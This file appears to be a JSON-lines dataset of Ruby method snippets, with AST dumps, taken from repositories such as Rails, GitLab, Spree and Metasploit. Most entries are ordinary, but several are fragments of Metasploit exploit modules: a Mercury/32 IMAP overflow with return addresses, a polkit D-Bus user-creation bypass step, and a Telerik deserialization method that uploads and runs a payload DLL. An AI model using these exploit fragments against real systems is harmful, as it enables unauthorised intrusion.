{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_action.rb","start_line":101,"raw_source":"def miq_policies\n    miq_policy_contents.collect(&:miq_policy).uniq\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"miq_policies\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"miq_policy_contents\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"miq_policy\"]}]}]},\"uniq\"]}]}","id":"ac85133a-b652-4bf8-ab5d-3d8d5ee2fcc3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/exe.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super\n\n    # NOTE: Any new options here should also be dealt with in\n    # EncodedPayload#encoded_exe in lib/msf/core/encoded_payload.rb\n    register_advanced_options(\n      [\n        OptBool.new('EXE::EICAR',    [false, 'Generate an EICAR file instead of regular payload exe']),\n        OptPath.new('EXE::Custom',   [false, 'Use custom exe instead of automatically generating a payload exe']),\n        OptPath.new('EXE::Path',     [false, 'The directory in which to look for the executable template']),\n        OptPath.new('EXE::Template', [false, 'The executable template file name.']),\n        OptBool.new('EXE::Inject',   [false, 'Set to preserve the original EXE function']),\n        OptBool.new('EXE::FallBack', [false, 'Use the default template in case the specified one is missing']),\n        OptBool.new('MSI::EICAR',    [false, 'Generate an EICAR file instead of regular payload msi']),\n        OptPath.new('MSI::Custom',   [false, 'Use custom msi instead of automatically generating a payload msi']),\n        OptPath.new('MSI::Path',     [false, 'The directory in which to look for the msi template']),\n        OptPath.new('MSI::Template', [false, 'The msi template file name']),\n        OptBool.new('MSI::UAC',      [false, 'Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)'])\n      ], self.class)\n  end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"EXE::EICAR\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Generate an EICAR file instead of regular payload exe\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"EXE::Custom\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Use custom exe instead of automatically generating a payload exe\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"EXE::Path\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The directory in which to look for the executable template\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"EXE::Template\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The executable template file name.\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"EXE::Inject\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Set to preserve the original EXE function\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"EXE::FallBack\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Use the default template in case the specified one is missing\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"MSI::EICAR\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Generate an EICAR file instead of regular payload msi\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"MSI::Custom\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Use custom msi instead of automatically generating a payload msi\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"MSI::Path\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The directory in which to look for the msi template\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"MSI::Template\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The msi template file name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"MSI::UAC\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}","id":"d53c2483-d1a0-45a2-823d-a0418614f737"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":4108,"raw_source":"def test_form_for_with_html_options_adds_options_to_form_tag\n    form_for(@post, html: { id: \"some_form\", class: \"some_class\", multipart: true }) do |f| end\n    expected = whole_form(\"/posts/123\", \"some_form\", \"some_class\", method: \"patch\", multipart: \"multipart/form-data\")\n\n    assert_dom_equal expected, @rendered\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_for_with_html_options_adds_options_to_form_tag\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_for\",{\"type\":\"ivar\",\"children\":[\"@post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"some_form\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"some_class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multipart\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/posts/123\"]},{\"type\":\"str\",\"children\":[\"some_form\"]},{\"type\":\"str\",\"children\":[\"some_class\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"patch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"multipart\"]},{\"type\":\"str\",\"children\":[\"multipart/form-data\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"012a50c6-03b7-4a09-b8a7-26b70e22dae6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/project_access_token.rb","start_line":79,"raw_source":"def fabricate!\n        Flow::Login.sign_in_unless_signed_in\n\n        project.visit!\n\n        Page::Project::Menu.perform(&:go_to_access_token_settings)\n\n        Page::Project::Settings::AccessTokens.perform do |token_page|\n          token_page.click_add_new_token_button\n          token_page.fill_token_name(name)\n          token_page.check_api\n          token_page.fill_expiry_date(expires_at)\n          token_page.click_create_token_button\n          self.token = token_page.created_access_token\n        end\n\n        reload!\n      end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"fabricate!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Flow\"]},\"Login\"]},\"sign_in_unless_signed_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"visit!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Project\"]},\"Menu\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"go_to_access_token_settings\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Project\"]},\"Settings\"]},\"AccessTokens\"]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token_page\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token_page\"]},\"click_add_new_token_button\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token_page\"]},\"fill_token_name\",{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token_page\"]},\"check_api\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token_page\"]},\"fill_expiry_date\",{\"type\":\"send\",\"children\":[null,\"expires_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token_page\"]},\"click_create_token_button\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"token=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token_page\"]},\"created_access_token\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"reload!\"]}]}]}","id":"4f210042-acd3-4654-bcaf-26a6bafd60f8"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/return_item.rb","start_line":222,"raw_source":"def eligible_exchange_variant\n      return unless exchange_variant && exchange_variant_id_changed?\n\n      unless eligible_exchange_variants.include?(exchange_variant)\n        errors.add(:base, Spree.t(:invalid_exchange_variant))\n      end\n    end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"eligible_exchange_variant\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exchange_variant\"]},{\"type\":\"send\",\"children\":[null,\"exchange_variant_id_changed?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"eligible_exchange_variants\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"exchange_variant\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"invalid_exchange_variant\"]}]}]}]}]}]}","id":"4c331f29-2d51-4a72-88ac-782a14bfe1d6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/imap/mercury_rename.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Mercury/32 v4.01a IMAP RENAME Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow vulnerability in the\n          Mercury/32 v.4.01a IMAP service.\n        },\n        'Author' => [ 'MC' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2004-1211'],\n          [ 'OSVDB', '12508'],\n          [ 'BID', '11775'],\n          [ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=15867'],\n        ],\n        'Privileged' => true,\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Payload' => {\n          'Space' => 500,\n          'BadChars' => \"\\x00\\x0a\\x0d\\x20\",\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          ['Windows 2000 SP4 English', { 'Ret' => 0x7846107b }],\n          ['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 }],\n          ['Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 }],\n        ],\n        'DisclosureDate' => '2004-11-29',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Mercury/32 v4.01a IMAP RENAME Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack buffer overflow vulnerability in the\\n\"]},{\"type\":\"str\",\"children\":[\"          Mercury/32 v.4.01a IMAP service.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MC\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2004-1211\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"12508\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"11775\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.nessus.org/plugins/index.php?view=single&id=15867\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[500]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n\\r \"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 SP4 English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2017857659]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP Pro SP0 English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2010910192]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP Pro SP1 English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2011510903]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2004-11-29\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"74108acb-9eec-4b8f-9b17-332fc6c9cd78"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/flush_counter_increments_worker.rb","start_line":27,"raw_source":"def perform(model_name, model_id, attribute)\n    return unless self.class.const_defined?(model_name)\n\n    model_class = model_name.constantize\n    model = model_class.primary_key_in([model_id]).take # rubocop: disable CodeReuse/ActiveRecord -- we work on a dynamic model name\n    return unless model\n\n    Gitlab::Counters::BufferedCounter.new(model, attribute).commit_increment!\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_name\"]},{\"type\":\"arg\",\"children\":[\"model_id\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"const_defined?\",{\"type\":\"lvar\",\"children\":[\"model_name\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"model_class\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_name\"]},\"constantize\"]}]},{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_class\"]},\"primary_key_in\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]}]}]},\"take\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Counters\"]},\"BufferedCounter\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},\"commit_increment!\"]}]}]}","id":"0fbe35cd-867c-4c51-a683-fd62fe87e9d9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/polkit_dbus_auth_bypass.rb","start_line":105,"raw_source":"def get_cmd_delay\n    user = rand_text_alphanumeric(8)\n    time_command = \"bash -c 'time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:#{user} string:\\\"#{user}\\\" int32:1'\"\n    time = cmd_exec(time_command, nil, datastore['TIMEOUT']).match(/real\\s+\\d+m(\\d+.\\d+)s/)\n    unless time && time[1]\n      print_error(\"Unable to determine the time taken to run the dbus command, so the exploit cannot continue. Try increasing the TIMEOUT option. The command that failed was: #{time_command}\")\n      return nil\n    end\n\n    time_in_seconds = time[1].to_f\n    # The dbus-send command timeout is implementation-defined, typically 25 seconds\n    # https://dbus.freedesktop.org/doc/dbus-send.1.html#:~:text=25%20seconds\n    if time_in_seconds > datastore['TIMEOUT'].to_f || time_in_seconds > 25.00\n      print_error('The dbus-send command timed out which means the exploit cannot continue. This is likely due to the session service type being X11 instead of SSH. Please see the module documentation for more information.')\n      return nil\n    end\n    time_in_seconds / 2\n  end","complexity_score":29.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_cmd_delay\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"lvasgn\",\"children\":[\"time_command\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"bash -c 'time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\" string:\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"\\\" int32:1'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"lvar\",\"children\":[\"time_command\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]}]}]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"real\\\\s+\\\\d+m(\\\\d+.\\\\d+)s\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to determine the time taken to run the dbus command, so the exploit cannot continue. Try increasing the TIMEOUT option. The command that failed was: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time_command\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"time_in_seconds\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_f\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time_in_seconds\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]}]},\"to_f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time_in_seconds\"]},\">\",{\"type\":\"float\",\"children\":[25.0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"The dbus-send command timed out which means the exploit cannot continue. This is likely due to the session service type being X11 instead of SSH. Please see the module documentation for more information.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time_in_seconds\"]},\"/\",{\"type\":\"int\",\"children\":[2]}]}]}]}","id":"b223275e-1fd6-4e6c-9a96-fd9f5a158455"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/readme_renderer_service.rb","start_line":9,"raw_source":"def execute\n      render(params[:template_name] || :default)\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"template_name\"]}]},{\"type\":\"sym\",\"children\":[\"default\"]}]}]}]}","id":"32c8df83-8ebf-4213-b133-f61ab95146ac"}
{"repo_name":"forem","file_path":"./repos/forem/app/lib/menu.rb","start_line":52,"raw_source":"def has_children?\n      !@children.empty?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_children?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@children\"]},\"empty?\"]},\"!\"]}]}","id":"d1833735-7310-47ea-aefa-753a6a363f0a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/telerik_rau_deserialization.rb","start_line":125,"raw_source":"def exploit\n    fail_with(Failure::BadConfig, 'No version was specified and it could not be enumerated') if @version.nil?\n    upload_file(generate_payload_dll({ mixed_mode: true }), @version)\n    execute_payload\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"No version was specified and it could not be enumerated\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"upload_file\",{\"type\":\"send\",\"children\":[null,\"generate_payload_dll\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mixed_mode\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@version\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_payload\"]}]}]}","id":"6a891ba1-371b-40c3-9d51-c30b1a45c18c"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/text_helper_test.rb","start_line":69,"raw_source":"def test_simple_format_with_custom_wrapper\n    assert_equal \"<div></div>\", simple_format(nil, {}, { wrapper_tag: \"div\" })\n    assert_equal \"<p></p>\", simple_format(nil, {}, { wrapper_tag: nil })\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_simple_format_with_custom_wrapper\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<div></div>\"]},{\"type\":\"send\",\"children\":[null,\"simple_format\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wrapper_tag\"]},{\"type\":\"str\",\"children\":[\"div\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<p></p>\"]},{\"type\":\"send\",\"children\":[null,\"simple_format\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wrapper_tag\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}","id":"081c23b2-c1ba-4fae-8722-afeb39b36ae2"}
